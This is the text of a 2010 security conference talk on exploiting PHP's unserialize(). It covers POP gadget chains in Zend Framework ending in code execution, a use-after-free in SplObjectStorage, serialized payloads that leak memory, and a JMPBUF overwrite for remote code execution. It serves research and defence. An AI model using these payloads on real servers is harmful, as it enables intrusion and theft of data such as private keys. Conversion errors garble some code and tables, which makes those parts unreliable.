Utilizing Code Reuse/ROP in PHP Application Exploits

Stefan Esser <stefan.esser@sektioneins.de>

BlackHat USA 2010
Las Vegas, Nevada
Who am I?

**Stefan Esser**

- from Cologne/Germany
- Information Security since 1998
- PHP Core Developer since 2001
- Suhosin / Hardened-PHP 2004
- Month of PHP Bugs 2007 / Month of PHP Security 2010
- Head of Research & Development at SektionEins GmbH
Part I

Introduction
Code Reuse / Return Oriented Programming

- shellcode is not injected into the application
- instead the application’s code flow is hijacked and redirected
- pieces of already available code are executed in an attacker defined order
- reordered bits of code do exactly what the attacker wants
Research into Code Reuse / Return Oriented Programming

- consumer architectures: x86, amd64, sparc, ppc, arm
- intermediate architectures: REIL
- special architectures: voting systems

⇒ no research yet for web applications
Classification

- Code Reuse
- Return Oriented Programming
- Return To Libc
- ... ?
Return Oriented Programming / Return To Libc

- based on **hijacking the callstack**
- allows **returning** into **arbitrary code gadgets**
- **useful code** followed by a **return**
- full **control over the stack**
Return Oriented Programming is **not possible at the PHP level**

- **callstack** is spread over
  - real stack
  - heap
  - data segment
- ROP would **require control over multiple places** at the same time
- normally overflows only allow to **hijack one place at once**
- PHP bytecode is at **unknown positions in the heap**
Introduction (VI)
Code Reuse

ROP

Return To Libc

Property Oriented Programming (POP)
Part II

Property Oriented Programming
Property Oriented Programming

- when the callstack is not controllable another code reuse technique is required
- new software is usually object oriented
- objects call methods of other objects stored in their properties
- replacing or overwriting objects and properties allows another form of code reuse
Property Oriented Programming in PHP

- some limitations
- can only call start of methods
- cannot just overwrite some object in memory
- need a way to create objects
- and fill all their properties
  → unserialize()
Part III

PHP’s unserialize()
unserialize()

- allows to **deserialize** serialized PHP variables
- supports **most PHP variable types**
  - integers / floats / boolean
  - strings / array / objects
  - references
- often exposed to **user input**
- **many vulnerabilities** in the past
• **deserializing objects** allows to control all **properties**
  • public
  • protected
  • private

• **but not** the **bytecode !!!!**

• however **deserialized objects** get woken up **__wakeup()**

• and later **destroyed** via **__destruct()**

⇒ **already existing code** gets executed
**unserialize()**

```
ad:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N;};i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:[]}
```

Unserialize keeps a table of all created variables during deserialization in order to support references.
unserialize()

a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N;};i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
unserialize()

```php
array

0  0
1  2.0
```

var_table

```php
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N};i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
```
unserialize()

```php
array

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2.0</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>&quot;ABCD&quot;</td>
<td></td>
</tr>
</tbody>
</table>

var_table

0 1 2 3 4

a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N;}i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
unserialize()

```
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my Class":2:{s:1:"a";r:6;s:1:"b";N;}i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
```

Diagram of var_table:

```
array

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>2.0</td>
</tr>
<tr>
<td>2</td>
<td>&quot;ABCD&quot;</td>
</tr>
<tr>
<td>3</td>
<td>2.0</td>
</tr>
</tbody>
</table>
```

Diagram of var_table:

```
    1
    +---
     |   +---
     |     | 2
     |     +---
     |         +---
     |         | 4
     |         +---
     |           +---
     |             | 5
     +------------+---
```
unserialize()

```
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;O:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N;}i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
```
### unserialize()

```php
$a = [0, 0, 1];
$b = 2;
$c = ['ABCD'];
$d = [3, 3];
$e = ['my_Class' => [1 => 'a', 2 => 'b', 'friend' => 'friend']];
$f = new SplObjectStorage();
$g = ['my_Class' => 'my_Class'];
```

<table>
<thead>
<tr>
<th>var_table</th>
<th>array</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td></td>
</tr>
</tbody>
</table>

- `a`: A numeric array containing the values 0 and 1.
- `b`: An integer value 2.
- `c`: An array containing the string "ABCD".
- `d`: An array containing the values 3 and 3.
- `e`: An array containing the keys 'a' and 'b', and an object named 'friend'.
- `f`: An object of type SplObjectStorage.
- `g`: An array containing an object named 'my_Class'.

### Diagram

The diagram illustrates the structure of the serialized data and how it can be restored using the `unserialize()` function. The `unserialize()` function reconstructs the array and object structures from the serialized data, as shown in the image.
unserialize()

```php
array

```

```php
my_Class
```

```php
NULL
```

```php
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N;};i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
```
unserialize()

```
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class";2:{s:1:"a";r:6;s:1:"b";N;}i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:{}}}
```

```
array

var_table

my_Class

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>a</td>
<td>my_Class</td>
<td></td>
</tr>
<tr>
<td>b</td>
<td>NULL</td>
<td></td>
</tr>
</tbody>
</table>

my_Class->__wakeup() is called
unserialize()

```php
a:6:{i:0;i:0;i:1;d:2;i:2;s:4:"ABCD";i:3;r:3;i:4;0:8:"my_Class":2:{s:1:"a";r:6;s:1:"b";N};i:5;C:16:"SplObjectStorage":14:{x:i:0;m:a:0:[]}}
```

<p>| | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>&quot;ABCD&quot;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>2.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>my_Class</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SplObjectStorage</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```
my_Class

<table>
<thead>
<tr>
<th>a</th>
<th>my_Class</th>
</tr>
</thead>
<tbody>
<tr>
<td>b</td>
<td>NULL</td>
</tr>
</tbody>
</table>

... | ...
Part IV

Useable Vulnerabilities Classes
When is an application vulnerable?

- An application is vulnerable if malicious input is passed to `unserialize()`
- Deserialization of user input is most obvious vulnerability cause
- but PHP applications use `unserialize()` in many different ways
- Other vulnerability classes can result in `unserialize()` vulnerabilities
Deserialization of User Input

- Applications use serialize() / unserialize() to transfer complex data
- Used in hidden HTML form fields and HTTP cookies
- Easy way to transfer arrays
- Developers are unaware of code execution
- Was quite harmless in PHP 4 days (aside from low level exploits)

```php
if (!isset($_REQUEST['printpages']) && !isset($_REQUEST['printstructures'])) {
    ...
} else {
    $printpages = unserialize(urldecode($_REQUEST['printpages']));
    $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
}
...
$form_printpages = urlencode(serialized($printpages));
$smarty->assign_by_ref('form_printpages', $form_printpages);
```
Deserialization of Cache Files

- Applications use serialize() / unserialize() to store variables in caching files
- These files are not supposed to be changeable by the user
- Cache file directory usually very near the directory for file uploads
- File upload vulnerabilities can result in caching files being overwritten
- File uploads outside of document root can still result in interesting attacks

```php
<?php
class Zend_Cache_Core {
    public function load($id, $doNotTestCacheValidity = false, $doNotUnserialize = false) {
        if (!$this->_options['caching']) {
            return false;
        }
        $id = $this->_id($id); // cache id may need prefix
        $this->_lastId = $id;
        self::_validateIdOrTag($id);
        $data = $this->_backend->load($id, $doNotTestCacheValidity);
        if ($data === false) {
            // no cache available
            return false;
        }
        if (!$doNotUnserialize && $this->_options['automatic_serialization']) {
            // we need to unserialize before sending the result
            return unserialize($data);
        }
        return $data;
    }
}
Deserialization of Network Data

- Applications use `serialize()` / `unserialize()` for public web APIs
- Well known example: Wordpress
- when API is using plaintext HTTP protocol - vulnerable to MITM
- HTTP man-in-the-middle to perform attacks against `unserialize()`

```php
$options = array(
    'timeout' => (defined('DOING_CRON') && DOING_CRON) ? 30 : 3,
    'body' => array('plugins' => serialize($to_send)),
    'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo('url')
);

.rawValue = wp_remote_post('http://api.wordpress.org/plugins/update-check/1.0/', $options);

if (is_wp_error($raw_response))
    return false;

if (200 != $raw_response['response']['code'])
    return false;

$response = unserialize($raw_response['body']);
```
Deserialization of Database Fields

- Applications / Frameworks use `serialize()` / `unserialize()` to store more complex data in database fields.
- Therefore SQL injection vulnerabilities might allow attackers to control what is deserialized.
- Database APIs like PDO_MySQL allow stacked SQL queries.

```php
public function jsonGetFavoritesProjectsAction()
{
    $setting = Phprojekt_Loader::getLibraryClass('Phprojekt_Setting');
    $setting->setModule('Timecard');

    $favorites = $setting->getSetting('favorites');
    if (!empty($favorites)) {
        $favorites = unserialize($favorites);
    } else {
        $favorites = array();
    }
}```
Session Deserialization Weakness

- If attacker has control over start of session key name and the associated value he can exploit a vulnerability in the session extension
- MOPS-2010-060 is a weakness that allows to inject arbitrary serialized values into the session by confusing the deserializer with a !
- This allows to attack unserialize() through the session deserializer

```php
<?php
// Start the session
session_start();

// Full Control
$_SESSION = array_merge($_SESSION, $_POST);

// Just controlling one session entry
$prefix = $_REQUEST['prefix'];
$_SESSION[$prefix.'_foo'] = $_REQUEST[$prefix];
?>```
Part V

Exploitability Requirements
When is an application exploitable?

Application is exploitable

• if it is deserializing user input

• and contains classes useable in a POP chain

A class is useable in a POP chain

• if it is available during unserialize()

• if it can start a POP chain

• if it can transfer execution in a POP chain

• if it contains interesting operations
Class Availability

- POP attacks can only use classes available during unserialize()
- unserialize() can deserialize any valid classname - but unknown classes will be incomplete and unusable for POP
- PHP only knows about classes defined in already included files
- some PHP applications register an __autoload() function which often allows all application classes to be used
POP Chain: Starting the Chain

- A class can be start of a POP chain if it has an **interesting** object method that is automatically executed by PHP.

- Usually this is:
  - `__wakeup()`
  - `__destruct()`

- But other magic methods are possible:
  - `__toString()`
  - `__call()`
  - `__set()`
  - `__get()`

```php
<?php
class popstarter {
    function __destruct() {
        ...
    }
}
?>
```
a class can be interesting for a POP chain if it transfers execution to an object inside its properties

- by invoking a method
- by invoking a __toString() conversion the other object
- by invoking another magic method of the object

```php
<?php
class exectransfer
{
    function methodA()
    {
        $this->prop2->methodB();
        $this->prop3->data = $this->prop4;
        return 'data: ' . $this->prop1;
    }
}
?>
```
POP Chain: Interesting Operations

- The end of a POP chain requires a class method that contains an interesting operation

- Interesting operations are
  - file access
  - database access
  - session access
  - mail access
  - dynamic code evaluation
  - dynamic code inclusion
  - ...

```php
<?php
class operation
{
    function methodB()
    {
        $message = file_get_contents($this->tempfile);
        mail($this->to, $this->subject, $message);
        unlink($this->tempfile);
    }
}
?>
```
Part VI

Examples
class Zend_Log
{
    ...
    /**
     * @var array of Zend_Log_Writer_Abstract
     */
    protected $_writers = array();
    ...

    /**
     * Class destructor. Shutdown log writers
     *
     * @return void
     */
    public function __destruct()
    {
        foreach($this->_writers as $writer) {
            $writer->shutdown();
        }
    }
}
class Zend_Log_Writer_Mail extends Zend_Log_Writer_Abstract {
    public function shutdown()
    {
        if (empty($this->_eventsToMail)) {
            return;
        }
        if ($this->_subjectPrependText !== null) {
            $numEntries = $this->_getFormattedNumEntriesPerPriority();
            $this->_mail->setSubject("{"$this->_subjectPrependText} {{$numEntries}}");
        }
        $this->_mail->setBodyText(implode('', $this->_eventsToMail));

        // If a Zend_Layout instance is being used, set its "events" value to the lines formatted for use with the layout.
        if ($this->_layout) {
            // Set the required "messages" value for the layout. Here we are assuming that the layout is for use with HTML.
            $this->_layout->events = implode('', $this->_layoutEventsToMail);

            // If an exception occurs during rendering, convert it to a notice so we can avoid an exception thrown without a stack frame.
            try {
                $this->_mail->setBodyHtml($this->_layout->render());
            } catch (Exception $e) {
                trigger_error(...
            }
        }
    }
}
class Zend_Layout
{
    ...
    protected $inflector;
    protected $inflectorEnabled = true;
    protected $layout = 'layout';
    ...
    public function render($name = null)
    {
        if (null === $name) {
            $name = $this->getLayout();
        }
        if ($this->inflectorEnabled() && (null !== ($inflector = $this->getInflector())))
        {
            $name = $this->_inflector->filter(array('script' => $name));
        }
        ...
    }
}
class Zend_Filter_PregReplace implements Zend_Filter_Interface {
    protected $_matchPattern = null;
    protected $_replacement = '';
    ...
    public function filter($value) {
        if ($this->_matchPattern == null) {
            require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception(get_class($this) . ' does ....');
        }

        return preg_replace($this->_matchPattern, $this->_replacement, $value);
    }
}
Putting it all together...

**Zend_Log**
- `_writers`
- `Zend_Log_Writer_Mail
  - `_eventsToMail` = array(1)
  - `_subjectPrependText` = null
  - `_mail`
  - `_layoutEventsToMail` = array(1)
- `Zend_Mail`
- `Zend_Layout
  - `_inflector`
  - `_inflectorEnabled` = true
  - `_layout` = "layout"
- `Zend_Filter_PregReplace
  - `_matchPattern` = "/(.*)/e"
  - `_replacement` = "phpinfo().die()"
Part VII

Vulnerability in unserialize()
Vulnerability in `unserialize()`

- Property oriented exploitation often not possible
  - Applications `unserialize()` user input
  - But do not have interesting objects
- However `unserialize()` is a parser and parsers tend to be vulnerable
- Indeed there is a use-after-free vulnerability in `SplObjectStorage`
SplObjectStorage

- provides an **object set in PHP 5.2**

```php
<?php
    $x = new SplObjectStorage();
    $x->attach(new Alpha());
    $x->attach(new Beta());
?>
```

- provides a **map from objects to data in PHP 5.3**

```php
<?php
    $x = new SplObjectStorage();
    $x->attach(new Alpha(), 123);
    $x->attach(new Beta(), 456);
?>
```
**key** to the object set / map is **derived from the object value**

```c
zend_object_value zvalue;
memset(&zvalue, 0, sizeof(zend_object_value));
zvalue.handle = Z_OBJ_HANDLE_P(obj);
zvalue.handlers = Z_OBJ_HT_P(obj);
zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);
```

```c
typedef struct _zend_object_value {
    zend_object_handle handle;
    zend_object_handlers *handlers;
} zend_object_value;
```
Vulnerability in PHP 5.3.x

- **references** allow to attach the same object again
- in **PHP 5.3.x** this will **destruct** the previously stored **extra data**
- **destruction** of the extra data will **not touch the internal var_table**
- **references** allow to still **access/use** the freed PHP variables
- **use-after-free** vulnerability allows to **info leak or execute code**
Vulnerable Applications

- discussed vulnerability allows arbitrary code execution in any PHP application unserializing user input
- but in order to exploit it nicely the PHP applications should re-serialize and echo the result
- both is quite common in widespread PHP applications e.g. TikiWiki 4.2

```php
if (!isset($_REQUEST['printpages']) && !isset($_REQUEST['printstructures'])) {
    ...
} else {
    $printpages = unserialize(urldecode($_REQUEST['printpages']));
    $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
}
...
$form_printpages = urlencode seri(alize($printpages));
$smarty->assign_by_ref('form_printpages', $form_printpages);
```
Part VIII

Simple Information Leaks via unserialize()
DWORD Size?

- for the following steps it is required to know if target is 32 bit or 64 bit
- we can detect the bit size by sending integers larger than 32 bit
  - sending:
    - i:11111111111;
  - answer:
    - 64 bit PHP - i:11111111111;
    - 32 bit PHP - i:-1773790777;
    - 32 bit PHP - d:11111111111;
PHP 5.2.x vs. PHP 5.3.x

- as demonstrated the exploit is different for PHP 5.2.x and 5.3.x
- we can detect a difference in the ArrayObject implementation
  - sending:
    - 0:11:"ArrayObject" : 0 : {}
  - answer:
    - PHP 5.2.x - 0:11:"ArrayObject" : 0 : {}
    - PHP 5.3.x - C:11:"ArrayObject" : 21 : {x:i:0;a:0:.;m:a:0:;}
SplObjectStorage Version

- bugfix in the latest versions of PHP 5.2.x and PHP 5.3.x
- stored objects counter is no longer put in var_table
- can be detected by references

  - sending:
    ```
    ➡️ C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;r:4;}}
    ```

  - answer:
    ```
    ➡️ PHP <= 5.2.12 - PHP <= 5.3.1
    C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:2;}}

    ➡️ PHP >= 5.2.13 - PHP >= 5.3.2
    C:16:"SplObjectStorage":38:{x:i:0;m:a:3:{i:1;i:1;i:2;i:2;i:3;i:1;}}
    ```
Part IX

Leak-After-Free Attacks
Endianess?

- for portability we need to detect the endianess remotely
- no simple info leak available
- we need a leak-after-free attack for this
Creating a fake integer ZVAL

- we construct a string that represents an integer ZVAL

  - integer value

  32 bit integer ZVAL: 00 01 00 00 41 41 41 41 00 01 01 00 01 00

  - reference counter

- string is a valid integer no matter what endianess
  - reference counter is chosen to be not zero or one (0x101)
  - type is set to integer variable (0x01)
  - value will be 0x100 for little endian and 0x10000 for big endian
- when sent to the server the returned value determines endianess
Endianness Unserialize Payload

- create an array of integer variables
- free the array
- create a fake ZVAL string which will reuse the memory
- create a reference to one of the already freed integer variables
- reference will point to our fake ZVAL

```
a:1:{i:0;C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;};i:0;,i:0;,m:a:2:{i:1;S:19:"\00\01\00\00AAAA \00\01\01\00\01\x00BBCCC";i:2;r:11;}}}}}
```
Endianness Payload Reply

- for little endian systems the reply will be

```php
a:1:{i:0;C:16:"SplObjectStorage":65:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S:
  19:"\00\01\00\00AAAA\00\01\01\00\01\x00BBCCC";i:2;i:256;}}}
```

- and for big endian systems it is

```php
a:1:{i:0;C:16:"SplObjectStorage":67:{x:i:1;i:0;,i:0;;m:a:2:{i:1;S:
  19:"\00\01\00\00AAAA\00\01\01\00\01\x00BBCCC";i:2;i:65536;}}}
```
Leak Arbitrary Memory?

- we want a really stable, portable, non-crashing exploit
- this requires more info leaks - it would be nice to leak arbitrary memory
- is that possible with a leak-after-free attack? Yes it is!
Creating a fake string ZVAL

- we construct a string that represents a string ZVAL

32 bit string ZVAL: `18 21 34 B7 00 04 00 00 00 01 01 00 06 00`

- our fake string ZVAL
  - string pointer points where we want to leak (0xB7342118)
  - length is set to 1024 (0x400)
  - reference counter is chosen to be not zero or one (0x101)
  - type is set to string variable (0x06)
- when sent to the server the returned value contains 1024 leaked bytes
Arbitrary Leak Unserialize Payload

- create an array of integer variables
- free the array
- create a fake ZVAL string which will reuse the memory
- create a reference to one of the already freed integer variables
- reference will point to our fake string ZVAL

```
a:1:{i:0:C:16:"SPLObjectStorage":159:{x:i:2;i:0;,a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}i:0;,i:0;,m:a:2:{i:1:S:19:"\18\21\34\B7\00\04\00\00\00\01\01\00\06\x00BBCC";i:2;r:11;}}}```
the response will look a lot like this

```
array(1) {
    [0] => array(16) {
        ["SplObjectStorage"] => int(1093)
        ["\18\21\34\B7\00\04\00\00\00\01\00\06\00BBCC""] => int(1024)
    }
}
```
Starting Point?

- wait a second...
- how do we know where to start when leaking memory
- can we leak some PHP addresses
- is that possible with a leak-after-free attack? Yes it is!
Creating a fake string ZVAL

- we again construct a string that represents a string ZVAL

\[
\begin{array}{c}
\text{string pointer} \quad \text{string length} \quad \text{reference counter}
\end{array}
\]

32 bit string ZVAL: 41 41 41 41 00 04 00 00 00 01 01 00 06 00

- our fake string ZVAL
  - pointer points where anywhere - \textbf{will be overwritten by a free} (0x41414141)
  - length is set to 1024 (0x400)
  - reference counter is choosen to be not zero or one (0x101)
  - type is set to string variable (0x06)
- when sent to the server the returned value contains 1024 leaked bytes
Starting Point Leak Unserialize Payload

- create an array of integer variables to allocate memory
- create another array of integer variables and free the array
- create an array which mixes our fake ZVAL strings and objects
- free that array
- create a reference to one of the already freed integer variables
- reference will point to our already freed fake string ZVAL

string pointer of fake string was overwritten by memory cache !!!
Starting Point Leak Response

- the response will contain the leaked 1024 bytes of memory
- starting from an already freed address
- we search for freed object ZVALs in the reply

32 bit object ZVAL: 41 41 41 41 20 12 34 B7 00 00 00 00 05 00

- the object handlers address is a pointer into PHP’s data segment
- we can leak memory at this address to get a list of pointers into the code segment
Where to go from here?

- having pointers into the code segment and an arbitrary mem info leak we can ...
  - scan backward for the ELF / PE / ... executable header
  - remotely steal the PHP binary and all it’s data
  - lookup any symbol in PHP binary
  - find other interesting webserver modules (and their executable headers)
  - and steal their data (e.g. mod_ssl private SSL key)
  - use gathered data for a remote code execution exploit
Part X

Controlling Execution
Taking Control (I)

- to take over control we need to:
  - corrupt memory layout
  - call user supplied function pointers

- unserialize() allows to destruct and create fake variables:
  - string - freeing arbitrary memory addresses
  - array - calling hashtable destructor
  - object - calling del_ref() from object handlers
Taking Control (II)

- **object** and **array** variables point to tables with **function pointers** only.
- **string** variables store **pointer** to free **inline**.
- **small** freed **memory blocks** end up in PHP’s **memory cache**.
- **new string** variable of **same size** will **reuse cached memory**.
- **allows to overwrite with attacker supplied data**.
PHP and the Linux x86 glibc JMPBUF

- PHP uses a **JMPBUF** for `try {} catch {}` at C level
- **JMPBUF** is stored on stack
- `executor_globals` point to current **JMPBUF**

- glibc uses **pointer obfuscation** for ESP and EIP
  - ROL 9
  - XOR gs:[0x18]
- obvious **weakness**
  - EBP not obfuscated

<table>
<thead>
<tr>
<th>jmpbuf</th>
<th>EBX</th>
<th>ESI</th>
<th>EDI</th>
<th>EBP</th>
<th>ESP</th>
<th>EIP</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Breaking PHP’s JMPBUF

- lowest 2 bits of ESP are always 0
- allows determining lowest 2 bits of EIP
- PHP’s JMPBUF points into `php_execute_script()`
- prepended by CALL `E8 xx xx xx xx xx`
- followed by XOR + TEST `31 xx 85 xx`
- we can search for EIP
- known EIP allows determining secret XORER
Using Fake Strings to Overwrite JMPBUF (I)

- search process stack from JMPBUF’s position backward
- there are at least MAX_PATH bytes
- search for pattern \( XX \ 00 \ 00 \ 00 \) (\( XX > 0x0c \) and \( XX < 0x8f \))
- field could be the size field of a small memory block
Using Fake Strings to Overwrite JMPBUF (II)

- we can create a fake string
- with string data at JMPBUF - 0x43 + 8
- and free it
Using Fake Strings to Overwrite JMPBUF (III)

- PHP’s allocator will put a block of size 0x10 into memory cache.

- First 4 bytes will be overwritten by pointer to next block.

![Diagram showing memory cache and string data with pointers and values.](image-url)
Using Fake Strings to Overwrite JMPBUF (IV)

- creating a **fake 7 byte string** will reuse the cached **memory**
  - "\x78\x00\x00\x00XXX"
- next block **pointer** will be **restored**
- **string** data gets **copied into stack**
Using Fake Strings to Overwrite JMPBUF (V)

- we **repeat** the **attack** with our **new string** data
- this time we **can write** 0x70 bytes
- enough to **overwrite** JMPBUF - 0x33 bytes away
- and putting **more payload** on the **stack**
Using Fake Strings to Overwrite JMPBUF (VI)

- We can now setup a stack frame for `zend_eval_string()`
- and injected PHP code
- and the JMPBUF
Triggering JMPBUF Execution

- PHP will pass execution to the JMPBUF on `zend_bailout()`
- `zend_bailout()` is executed for core errors and on script termination
- `unserialize()` can trigger a FATAL ERROR
- Unserializing **too big arrays** will alert the MM’s integer overflow detection
  - `unserialize('a:2147483647:{'});`
- This will result in `longjmp()` jumping to `zend_eval_string()`
- Which will execute our PHP code
Thank you for listening...
QUESTIONS?